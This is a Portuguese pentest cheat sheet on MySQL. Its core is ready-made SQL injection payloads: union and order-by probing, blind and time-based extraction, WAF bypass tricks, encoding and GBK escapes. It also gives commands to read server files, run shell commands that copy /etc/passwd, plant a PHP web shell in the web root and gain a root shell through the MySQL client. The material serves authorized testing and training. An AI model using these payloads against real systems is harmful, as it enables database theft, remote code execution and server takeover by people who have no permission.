MySQL
DICA: Se estiver logado no mysql via terminal e quiser utilizar o terminal do SO com as mesmas autenticações do MySQL, basta utilizar o comando: \! sh
. Caso o MySQL estiver sendo executado como root, isso acaba se tornando um fácil PrivEsc.
Obtendo Informações Sobre o MySQL
QUERY
DESCRIÇÃO
SELECT @@hostname
Nome do host
SELECT @@version
Versão do MySQL e do SO
SELECT version()
Versão do MySQL e do SO
SELECT @@datdir
Local onde o MySQL está instalado
SELECT system_user()
Usuário do sistema
SELECT current_user()
Usuário que está executando os comandos
SELECT user()
Usuário que está executando os comandos
SELECT user, password, host FROM mysql.user
Vendo todos os usuarios do DB
SELECT database()
Nome do Banco de Dados está sendo utilizado
SHOW VARIABLES
Mostra as variáveis do MySQL
Instalando MariaDB + Criação de Usuário + Acesso Externo
Instale o MariaDB (Altere a versão caso precise)
sudo apt install mariadb-server-10.5 mariadb-client-10.5
sudo service mariadb start
Acesse o Banco de Dados
mysql -u root -p
Altere a senha do usuário root
ALTER USER 'root'@'localhost' IDENTIFIED BY '<new_password>';
Crie um novo database com uma tabela
CREATE DATABASE <database>;
USE <database>;
CREATE TABLE <table> (<column> VARCHAR(2000));
Crie um novo usuário do MariaDB
CREATE USER '<user>'@'<ip_access_external>' IDENTIFIED BY '<new_password>';
Dê permissão ao novo usuário para determinada IP
GRANT ALL PRIVILEGES ON <database>.* TO '<user>'@'<ip_access_external>';
FLUSH PRIVILEGES;
Libere acesso na porta 3306 através do firewall
ufw allow from <ip_access_external> to any port 3306
Edita o arquivo de configuração (/etc/mysql/mariadb.conf.d/50-server.cnf
), e altere a linha #bind-address = 127.0.0.1
para bind-address = 0.0.0.0
. Se preferir, utilize o IP da interface de rede ao invés de 0.0.0.0
.
Reinicie o MariaDB e já está pronto para acessar.
sudo service mariadb restart
Order By
Com o comando order by
, podemos saber quantas colunas o banco de dados está retornando
http://<site>/photo.php?id=1 order by 1
http://<site>/photo.php?id=1 order by 1,2,3
Nos dois exemplos acima, basta ir aumentando o número do order by
até dar erro. Quando der erro, significa que o valor anterior é a quantidade de colunas retornada na query
Union
Agora que já sabemos a quantidade de colunas utilizando o comando order by
, vamos fazer um union
http://<site>/photo.php?id=1 union select 1,2,3,4,5,6,7,8,9
OBS.: Também podemos utilizar o union
para saber a quantidade de colunas baseada em erros, assim como no order by
.
Limit
As vezes podemos usar algum payload de forma que a query nos retorne todos os dados, porém nosso amigo programador limitou esse resultado para pegar apenas 1 registro, usando a linguagem de programação da aplicação ao invés de usar o limit
do MySQL. Para esse cenário, devemos utilizar a seguinte técnica para nos trazer apenas 1 registro de cada vez, porém percorrendo todas as linhas de uma determinar tabela, enviando uma requisição para cada registro.
# Retornando apenas o primeiro registro da tabela
' or '1'='1' LIMIT 1,1
# Retornando apenas o segundo registro da tabela
' or '1'='1' LIMIT 2,1
# Retornando apenas o terceiro registro da tabela
' or '1'='1' LIMIT 3,1
SQL Blind
Verificando tamanho do nome dos Databases
Altere a quantidade no final do payload abaixo, até encontrar o valor correto.
LENGTH((SELECT DISTINCT(table_schema) FROM information_schema.tables LIMIT 1,1)) = <length>
Buscando nomes de Databases
Podemos realizar um injection para verificar se existe algum database no banco de dados que comece uma determinada letra. Tente a letra "a", caso seja false, tente a letra "b", e assim sucessivamente,a até encontrar uma letra que retorne true.
SUBSTRING((SELECT DISTINCT(table_schema) FROM information_schema.tables LIMIT 1,1),1,1) = '<primeira_letra>'
Depois de encontrar a primeira letra do nome do database, vamos procurar pela segunda letra e assim por diante, até mapearmos o nome do database. Atente-se que os databases também pode conter números, underlines, etc, então não se limite a apenas testes com letras.
SUBSTRING((SELECT DISTINCT(table_schema) FROM information_schema.tables LIMIT 1,1),1,2) = '<primeira_letra><segunda_letra>'
Buscando nomes de Tabelas
Aqui estamos utilizando o database()
, que serve para utilizarmos como base, o database que está conectado no momento, então altere esse valor caso queira procurar tabelas de outro database.
SUBSTRING((SELECT DISTINCT(table_name) FROM information_schema.tables WHERE table_schema = database() LIMIT 1,1),1,1) = '<primeira_letra>'
SUBSTRING((SELECT DISTINCT(table_name) FROM information_schema.tables WHERE table_schema = database() LIMIT 1,1),1,2) = '<primeira_letra><segunda_letra>'
Buscando nomes de Colunas
SUBSTRING((SELECT DISTINCT(column_name) FROM information_schema.columns WHERE table_schema = database() and table_name = '<tabela>' LIMIT 1,1),1,1) = '<primeira_letra>'
Buscando valores de uma Coluna
SUBSTRING((SELECT DISTINCT(<coluna>) FROM <tabela> LIMIT 1,1),1,1) = '<primeira_letra>'
Sleep
Utilize o sleep
e verifique se ele é processado, ou seja, se apresenta delay na resposta. Caso seja, significa que o alvo está vulnerável a SQL Injection Blind. Obviamente o sleep
não é exclusivo para Blind, porém aqui se torna mais útil, já que no SQL Blind não tem um retorno tão rico de informações.
http://<site>/photo.php?id=1 or sleep(5)
Caso confirme a existência da vulnerabilidade, podemos fazer queries para validar a existência de dados.
OR (SELECT sleep(5) FROM information_schema.tables WHERE table_schemalike '<primeira_letra>%') = 1 --
OR IF((SELECT MID(<column>,1,1) FROM <tabela> LIMIT 1,1) = '<primeira_letra>', sleep(5), sleep(1)) --
OR (LENGTH((SELECT DISTINCT(table_schema) FROM information_schema.tables LIMIT 1,1)) = <length> AND sleep(5))
Bypass em Espaços
Quando o alvo estiver barrando espaços, utilize /**/
ou %20
no lugar do espaço, exemplo:
SELECT/**/*/**/FROM/**/<table>
1'%20or%20'1'='1
Também podemos usar uma tabulação (HT
ou \t
) para fazer bypass em espaço.
x'%09or%091%3D1%09--%09
Bypass em Where
O valor de <table>
abaixo deve ser sempre o mesmo, pois estamos fazendo um join
com a mesma tabela e jogando a condição em seguida, substituindo assim a utilização do where
select <alias_table1>.<column> from <table> <alias_table1> join <table> on <alias_table1>.<column> = '<where_condition>'
Bypass em Vírgulas
Caso o WAF não permita que digite vírgula(s), utilize o seguinte padrão:
SELECT * FROM (SELECT 'teste1')a JOIN(SELECT 'teste2')b JOIN(SELECT 'teste3')c
Bypass em information_schema
information_schema/**/./**/tables
`information_schema`.`tables`
`information_schema`/**/./**/`tables`
Bypass com Encode
# 1' or '1'='1
\u0031\u0027 \u006f\u0072 \u0027\u0031\u0027\u003d\u0027\u0031
# union select 1,2,3
+/*!u%6eion*/+/*!se%6cect*/+1,2,3
Injection em Comentários
Em casos raros na vida real (porém prováveis em CTF), nossos parâmetros (GET ou POST) podem ficar dentros comentários de SQL (/* <param> */
). É possível realizar um bypass utilizando o !
, deixando o código final no seguinte formato:
SELECT * FROM <tabela> WHERE id = /*! <injection> */
Comandos Úteis de MySQL
As vezes os comandos abaixo podem não retornar nada ou retornar erro caso esteja utilizando um union
, então se possível deixe os comandos abaixo como um subselect, exemplo: <query_vuln> union all select null, null,(<query_abaixo>) from <table>
Retornando o nome de todos os databases
select group_concat(table_schema) from information_schema.tables
Retornando o nome de todas as tabelas, separadas por vírgula
select group_concat(table_name) from information_schema.tables where table_schema=database()
Retornando o nome de todas as colunas de uma determinada tabela, separadas por vírgula
select group_concat(column_name) from information_schema.columns where table_name='<nome_tabela>'
Retornando os valores de uma determinada coluna
select group_concat(<column>) from <table>
Lê o conteúdo de determinado arquivo.
select load_file('<file>')
OBS.: Caso não consiga utilizar o comando acima, execute o comando SHOW VARIABLES LIKE "secure_file_priv"
para verificar se o módulo de segurança está habilitado.
Outra maneira de lermos arquivo, é utilizando o seguinte comando:
CREATE TABLE <table> (<column> TEXT);
LOAD DATA LOCAL INFILE '<file>' INTO TABLE <table> FIELDS TERMINATED BY '\n';
Executa um comando no shell e salva em um arquivo
select sys_exec('cat /etc/passwd > /tmp/passwd && chmod 777 /tmp/passwd')
# ou
select sys_eval('cat /etc/passwd > /tmp/passwd && chmod 777 /tmp/passwd')
OBS.: Se nenhum dos dois comando acima funcionar, pode usar o UDF (User Defined Function)
Grava um Shell PHP no diretório do apache.
select '<?php echo shell_exec($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'
OBS.: Quando for usar o INTO OUTFILE
, utilize sempre o /
para indicar o caminho absoluto do arquivo que irá salvar, mesmo que o alvo seja um Windows. O mesmo vale para load_file.
Lista os usuários do banco e se tem permissão de escrita (Y).
OBS.: O 0x3a
serve somente para colocar um : (dois pontos) entre o nome do usuário e a permissão que está atribuída.
select group_concat(user,0x3a,file_priv) from mysql.user
Também podemos automatizar a permissão deescrita utilizando o Metasploit, porém é preciso ter as credenciais de acesso.
msfconsole -q
use auxiliary/scanner/mysql/mysql_writable_dirs
set RHOSTS <ip>
set DIR_LIST <wordlist.txt>
set VERBOSE true
exploit
Também podemos descobrir se determinados arquivos existem no servidor.
msfconsole -q
use auxiliary/scanner/mysql/mysql_file_enum
set RHOSTS <ip>
set FILE_LIST <wordlist.txt>
exploit
Conecta no banco e executa uma query, sem ficar no modo interativo.
mysql -u <user> -p<senha> -D <database> -e "<query>"
ATENÇÃO: Atente-se ao p
antes da senha, não coloque espaço entre eles.
Criando um novo usuário no MySql (esteja conectado no MySQL antes):
CREATE USER '<novo_usuario>'@'localhost' IDENTIFIED BY '<nova_senha>';
GRANT ALL PRIVILEGES ON *.* TO '<novo_usuario>'@'localhost' WITH GRANT OPTION;
FLUSH PRIVILEGES;
Fazendo Dump e Restore
# Realiza DUMP
sudo mysqldump -u root -h localhost <database> > <arquivo.sql>
# Restora o Database
sudo mysql -u root -h localhost <database> < <arquivo.sql>
GBK
GBK é um conjunto de caracteres chineses simplificados, que podem ser utilizados como aspas simples em um injection, caso o driver do banco de dados do alvo não "fale" o mesmo tipo de caracteres (CHARSET).
Usando a string \xBF'
(que pode ser codificada em URL como %bf%27
), é possível obter um escape.
admin%bf%27 or 1=1 --
Sites
# Falhas de MSSQL Server
http://www.sqlsecurity.com
# Comando úteis para MSSQL
http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet
https://www.w3resource.com/slides/mysql-string-functions.php
# Conversão de payload com alguns encodes
https://www.branah.com/unicode-converter
# Configurando o MySQL para acessar externamente
https://www.cyberciti.biz/tips/how-do-i-enable-remote-access-to-mysql-database-server.html
# Macetes
https://pt.slideshare.net/AvinashThapa2/waf-bypassing-techniques
# Guia para fazer ByPass em Firewall
http://securityidiots.com/Web-Pentest/WAF-Bypass/waf-bypass-guide-part-1.html
Last updated
Was this helpful?